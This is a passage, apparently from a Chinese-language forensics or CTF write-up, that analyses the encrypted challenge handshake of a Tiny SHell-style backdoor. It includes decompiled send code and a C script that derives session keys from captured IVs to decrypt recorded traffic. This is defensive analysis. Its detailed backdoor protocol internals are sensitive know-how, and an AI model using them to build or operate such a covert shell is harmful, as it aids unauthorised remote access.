class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"> buffer[<span class="number">35</span>] = qword_211BB8;</span><br><span class="line">  <span class="built_in">SHA1Init</span>((SHA1_CTX *)send_ctx);</span><br><span class="line">  <span class="built_in">SHA1Update</span>((SHA1_CTX *)send_ctx, &amp;unk_211B38, <span class="number">0x40</span>uLL);</span><br><span class="line">  <span class="built_in">SHA1Update</span>((SHA1_CTX *)send_ctx, buffer, <span class="number">0x24</span>uLL);</span><br><span class="line">  <span class="built_in">SHA1Final</span>((<span class="type">unsigned</span> __int64 *)send_ctx, data);</span><br><span class="line">  <span class="built_in">SHA1Init</span>((SHA1_CTX *)send_ctx);</span><br><span class="line">  <span class="built_in">SHA1Update</span>((SHA1_CTX *)send_ctx, &amp;unk_211B78, <span class="number">0x40</span>uLL);</span><br><span class="line">  <span class="built_in">SHA1Update</span>((SHA1_CTX *)send_ctx, data, <span class="number">0x14</span>uLL);</span><br><span class="line">  v18 = <span class="number">0LL</span>;</span><br><span class="line">  <span class="built_in">SHA1Final</span>((<span class="type">unsigned</span> __int64 *)send_ctx, &amp;buffer[<span class="number">32</span>]);</span><br><span class="line">  ++qword_211BB8;</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    v19 = <span class="built_in">send</span>(client, v17, <span class="number">52</span> - v18, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> ( v19 &lt; <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      RecvStatus = <span class="number">-1</span>;</span><br><span class="line">      <span class="keyword">return</span> v5;</span><br><span class="line">    &#125;</span><br><span class="line">    v18 += v19;</span><br><span class="line">    v17 += v19;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( v18 &lt;= <span class="number">0x33</span> );</span><br><span class="line">  RecvStatus = <span class="number">-6</span>;</span><br><span class="line">  v5 = <span class="number">1</span>;</span><br><span class="line">&#125;                                             <span class="comment">// ret = pel_send_msg( client, challenge, 16 );</span></span><br></pre></td></tr></table></figure><p>结合上文分析，这边将我们的challenge（也就是<code>encode_sign</code>）向客户端发送。此时发送也有一个函数，不过此时使用的是<strong>send密钥</strong>进行加密。于是上图中的问号部分也可以解开了，是server用于和client通信的数据包。</p><p>于是整个challenge流程可以写作如下:</p><ul><li>server监听来自client发送的两个IV，并且初始化自己的密钥，其中前20字节用于生成recv，后20字节用于生成send</li><li>client发送一个用IV加密后的密文，此时使用recv密钥进行解密</li><li>server验证收到的密文是否为<code>encode_sign</code>，相等之后，将这个验证过程发送到client，最终完成验证</li></ul><h4 id="最终的文件获取">最终的文件获取</h4><p>在前面几个步骤中，我们已经理清了整个加密流程，于是我们利用源码，可以简单的改造一下，写一个解密脚本</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">pel_setup_context</span><span class="params">( <span class="keyword">struct</span> pel_context *pel_ctx,</span></span></span><br><span class="line"><span class="params"><span class="function">                        <span class="type">char</span> *key, <span class="type">unsigned</span> <span class="type">char</span> IV[<span class="number">20</span>] )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line">    <span class="comment">// struct sha1_context sha1_ctx;</span></span><br><span class="line">    <span class="type">md5_state_t</span> md5_ctx;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">md5_init</span>(&amp;md5_ctx);</span><br><span class="line">    <span class="built_in">md5_append</span>(&amp;md5_ctx, key, <span class="built_in">strlen</span>(key));</span><br><span class="line">    <span class="built_in">md5_append</span>(&amp;md5_ctx, IV, <span class="number">20</span>);</span><br><span class="line">    <span class="built_in">md5_finish</span>(&amp;md5_ctx,buffer);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// sha1_starts( &amp;sha1_ctx );</span></span><br><span class="line">    <span class="comment">// sha1_update( &amp;sha1_ctx, (uint8 *) key, strlen( key ) );</span></span><br><span class="line">    <span class="comment">// sha1_update( &amp;sha1_ctx, IV, 20 );</span></span><br><span class="line">    <span class="comment">// sha1_finish( &amp;sha1_ctx, buffer );</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">aes_set_key</span>( &amp;pel_ctx-&gt;SK, buffer, <span class="number">128</span> );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( pel_ctx-&gt;LCT, IV, <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memset</span>( pel_ctx-&gt;k_ipad, <span class="number">0x36</span>, <span class="number">64</span> );</span><br><span class="line">    <span class="built_in">memset</span>( pel_ctx-&gt;k_opad, <span class="number">0x5C</span>, <span class="number">64</span> );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>( i = <span class="number">0</span>; i &lt; <span class="number">20</span>; i++ )</span><br><span class="line">    &#123;</span><br><span class="line">        pel_ctx-&gt;k_ipad[i] ^= buffer[i];</span><br><span class="line">        pel_ctx-&gt;k_opad[i] ^= buffer[i];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    pel_ctx-&gt;p_cntr = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">memset</span>(buffer,<span class="number">0</span>,<span class="built_in">sizeof</span>(buffer));</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">decrypt_init</span><span class="params">( <span class="type">char</span> *key )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> ret, len;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> IV1[<span class="number">20</span>], IV2[<span class="number">20</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* get the IVs from the client */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ret = pel_recv_all( client, buffer, 40, 0 );</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// if( ret != PEL_SUCCESS ) return( PEL_FAILURE );</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( IV2, &amp;peer0_0[ <span class="number">0</span>], <span class="number">20</span> );</span><br><span class="line">    <span class="built_in">memcpy</span>( IV1, &amp;peer0_0[<span class="number">20</span>], <span class="number">20</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* setup the session keys */</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">pel_setup_context</span>( &amp;send_ctx, key, IV1 );</span><br><span class="line">    <span class="built_in">pel_setup_context</span>( &amp;recv_ctx, key, IV2 );    </span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;decrypt init finish&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* receive and decrypt a message */</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">pel_recv_msg</span><span class="params">(<span class="type">char</span>* recv_msg, <span class="type">int</span> size, <span class="type">unsigned</span> <span class="type">char</span> *msg, <span class="type">int</span> *length )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> temp[<span class="number">16</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> hmac[<span class="number">20</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> digest[<span class="number">20</span>];</span><br><span class="line">    <span class="keyword">struct</span> <span class="title class_">sha1_context</span> sha1_ctx;</span><br><span class="line">    <span class="type">int</span> i, j, ret, blk_len;</span><br><span class="line">    ret = PEL_SUCCESS;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* receive the first encrypted block */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ret = pel_recv_all( sockfd, buffer, 16, 0 );</span></span><br><span class="line">    <span class="built_in">memset</span>(buffer, <span class="string">&#x27;\0&#x27;</span>, <span class="built_in">sizeof</span>(buffer));</span><br><span class="line">    <span class="built_in">memcpy</span>(buffer, recv_msg, <span class="number">16</span>);</span><br><span class="line">    <span class="comment">// for( j = 0; j &lt; 16; j++ )</span></span><br><span class="line">    <span class="comment">// &#123;</span></span><br><span class="line">    <span class="comment">//     printf(&quot;0x%x,&quot;,recv_ctx.SK.drk[j]);</span></span><br><span class="line">    <span class="comment">//     // buffer[j] ^= recv_ctx.LCT[j];</span></span><br><span class="line">    <span class="comment">// &#125;</span></span><br><span class="line">    <span class="comment">// puts(&quot;&quot;);</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS ) <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* decrypt this block and extract the message length */</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( temp, buffer, <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">aes_decrypt</span>( &amp;recv_ctx.SK, buffer );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>( j = <span class="number">0</span>; j &lt; <span class="number">16</span>; j++ )</span><br><span class="line">    &#123;</span><br><span class="line">        buffer[j] ^= recv_ctx.LCT[j];</span><br><span class="line">        <span class="comment">// printf(&quot;0x%x,&quot;,buffer[j]);</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// puts(&quot;&quot;);</span></span><br><span class="line"></span><br><span class="line">    *length = ( (buffer[<span class="number">0</span>]) &lt;&lt; <span class="number">8</span> ) + buffer[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* restore the ciphertext */</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( buffer, temp, <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* verify the message length */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Decrypt length:%d\n&quot;</span>, *length);</span><br><span class="line">    <span class="keyword">if</span>( *length &lt;= <span class="number">0</span> || *length &gt; BUFSIZE )</span><br><span class="line">    &#123;</span><br><span class="line">        pel_errno = PEL_BAD_MSG_LENGTH;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;ERROR length:%d\n&quot;</span>, *length);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* round up to AES block length (16 bytes) */</span></span><br><span class="line"></span><br><span class="line">    blk_len = <span class="number">2</span> + *length;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( ( blk_len &amp; <span class="number">0x0F</span> ) != <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        blk_len += <span class="number">16</span> - ( blk_len &amp; <span class="number">0x0F</span> );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* receive the remaining ciphertext and the mac */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ret = pel_recv_all( sockfd, &amp;buffer[16], blk_len - 16 + 20, 0 );</span></span><br><span class="line">    <span class="built_in">memcpy</span>(&amp;buffer[<span class="number">16</span>], &amp;recv_msg[<span class="number">16</span>], blk_len - <span class="number">16</span> + <span class="number">20</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS ) <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( hmac, &amp;buffer[blk_len], <span class="number">20</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* verify the ciphertext integrity */</span></span><br><span class="line"></span><br><span class="line">    buffer[blk_len    ] = ( recv_ctx.p_cntr &lt;&lt; <span class="number">24</span> ) &amp; <span class="number">0xFF</span>;</span><br><span class="line">    buffer[blk_len + <span class="number">1</span>] = ( recv_ctx.p_cntr &lt;&lt; <span class="number">16</span> ) &amp; <span class="number">0xFF</span>;</span><br><span class="line">    buffer[blk_len + <span class="number">2</span>] = ( recv_ctx.p_cntr &lt;&lt;  <span class="number">8</span> ) &amp; <span class="number">0xFF</span>;</span><br><span class="line">    buffer[blk_len + <span class="number">3</span>] = ( recv_ctx.p_cntr       ) &amp; <span class="number">0xFF</span>;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">sha1_starts</span>( &amp;sha1_ctx );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, recv_ctx.k_ipad, <span class="number">64</span> );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, buffer, blk_len + <span class="number">4</span> );</span><br><span class="line">    <span class="built_in">sha1_finish</span>( &amp;sha1_ctx, digest );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">sha1_starts</span>( &amp;sha1_ctx );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, recv_ctx.k_opad, <span class="number">64</span> );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, digest, <span class="number">20</span> );</span><br><span class="line">    <span class="built_in">sha1_finish</span>( &amp;sha1_ctx, digest );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// if( memcmp( hmac, digest, 20 ) != 0 )</span></span><br><span class="line">    <span class="comment">// &#123;</span></span><br><span class="line">    <span class="comment">//     puts(&quot;hmac not equal!&quot;);</span></span><br><span class="line">    <span class="comment">//     pel_errno = PEL_CORRUPTED_DATA;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//     return( PEL_FAILURE );</span></span><br><span class="line">    <span class="comment">// &#125;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* increment the packet counter */</span></span><br><span class="line"></span><br><span class="line">    recv_ctx.p_cntr++;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* finally, decrypt and copy the message */</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>( i = <span class="number">0</span>; i &lt; blk_len; i += <span class="number">16</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">memcpy</span>( temp, &amp;buffer[i], <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line">        <span class="built_in">aes_decrypt</span>( &amp;recv_ctx.SK, &amp;buffer[i] );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span>( j = <span class="number">0</span>; j &lt; <span class="number">16</span>; j++ )</span><br><span class="line">        &#123;</span><br><span class="line">            buffer[i + j] ^= recv_ctx.LCT[j];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">memcpy</span>( recv_ctx.LCT, temp, <span class="number">16</span> );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( msg, &amp;buffer[<span class="number">2</span>], *length );</span><br><span class="line"></span><br><span class="line">    pel_errno = PEL_UNDEFINED_ERROR;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span>( PEL_SUCCESS );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">pel_send_msg</span><span class="params">(<span class="type">char</span>* recv_msg, <span class="type">int</span> size, <span class="type">unsigned</span> <span class="type">char</span> *msg, <span class="type">int</span> *length )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> temp[<span class="number">16</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> hmac[<span class="number">20</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> digest[<span class="number">20</span>];</span><br><span class="line">    <span class="keyword">struct</span> <span class="title class_">sha1_context</span> sha1_ctx;</span><br><span class="line">    <span class="type">int</span> i, j, ret, blk_len;</span><br><span class="line">    ret = PEL_SUCCESS;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* receive the first encrypted block */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ret = pel_recv_all( sockfd, buffer, 16, 0 );</span></span><br><span class="line">    <span class="built_in">memset</span>(buffer, <span class="string">&#x27;\0&#x27;</span>, <span class="built_in">sizeof</span>(buffer));</span><br><span class="line">    <span class="built_in">memcpy</span>(buffer, recv_msg, <span class="number">16</span>);</span><br><span class="line">    <span class="comment">// for( j = 0; j &lt; 16; j++ )</span></span><br><span class="line">    <span class="comment">// &#123;</span></span><br><span class="line">    <span class="comment">//     printf(&quot;0x%x,&quot;,recv_ctx.SK.drk[j]);</span></span><br><span class="line">    <span class="comment">//     // buffer[j] ^= recv_ctx.LCT[j];</span></span><br><span class="line">    <span class="comment">// &#125;</span></span><br><span class="line">    <span class="comment">// puts(&quot;&quot;);</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS ) <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* decrypt this block and extract the message length */</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( temp, buffer, <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">aes_decrypt</span>( &amp;send_ctx.SK, buffer );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>( j = <span class="number">0</span>; j &lt; <span class="number">16</span>; j++ )</span><br><span class="line">    &#123;</span><br><span class="line">        buffer[j] ^= send_ctx.LCT[j];</span><br><span class="line">        <span class="comment">// printf(&quot;0x%x,&quot;,buffer[j]);</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// puts(&quot;&quot;);</span></span><br><span class="line"></span><br><span class="line">    *length = ( (buffer[<span class="number">0</span>]) &lt;&lt; <span class="number">8</span> ) + buffer[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* restore the ciphertext */</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( buffer, temp, <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* verify the message length */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Decrypt length:%d\n&quot;</span>, *length);</span><br><span class="line">    <span class="keyword">if</span>( *length &lt;= <span class="number">0</span> || *length &gt; BUFSIZE )</span><br><span class="line">    &#123;</span><br><span class="line">        pel_errno = PEL_BAD_MSG_LENGTH;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;ERROR length:%d\n&quot;</span>, *length);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* round up to AES block length (16 bytes) */</span></span><br><span class="line"></span><br><span class="line">    blk_len = <span class="number">2</span> + *length;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( ( blk_len &amp; <span class="number">0x0F</span> ) != <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        blk_len += <span class="number">16</span> - ( blk_len &amp; <span class="number">0x0F</span> );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* receive the remaining ciphertext and the mac */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ret = pel_recv_all( sockfd, &amp;buffer[16], blk_len - 16 + 20, 0 );</span></span><br><span class="line">    <span class="built_in">memcpy</span>(&amp;buffer[<span class="number">16</span>], &amp;recv_msg[<span class="number">16</span>], blk_len - <span class="number">16</span> + <span class="number">20</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;final the length:%d\n&quot;</span>,blk_len + <span class="number">20</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS ) <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( hmac, &amp;buffer[blk_len], <span class="number">20</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* verify the ciphertext integrity */</span></span><br><span class="line"></span><br><span class="line">    buffer[blk_len    ] = ( send_ctx.p_cntr &lt;&lt; <span class="number">24</span> ) &amp; <span class="number">0xFF</span>;</span><br><span class="line">    buffer[blk_len + <span class="number">1</span>] = ( send_ctx.p_cntr &lt;&lt; <span class="number">16</span> ) &amp; <span class="number">0xFF</span>;</span><br><span class="line">    buffer[blk_len + <span class="number">2</span>] = ( send_ctx.p_cntr &lt;&lt;  <span class="number">8</span> ) &amp; <span class="number">0xFF</span>;</span><br><span class="line">    buffer[blk_len + <span class="number">3</span>] = ( send_ctx.p_cntr       ) &amp; <span class="number">0xFF</span>;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">sha1_starts</span>( &amp;sha1_ctx );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, send_ctx.k_ipad, <span class="number">64</span> );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, buffer, blk_len + <span class="number">4</span> );</span><br><span class="line">    <span class="built_in">sha1_finish</span>( &amp;sha1_ctx, digest );</span><br><span class="line"></span><br><span class="line">    <span 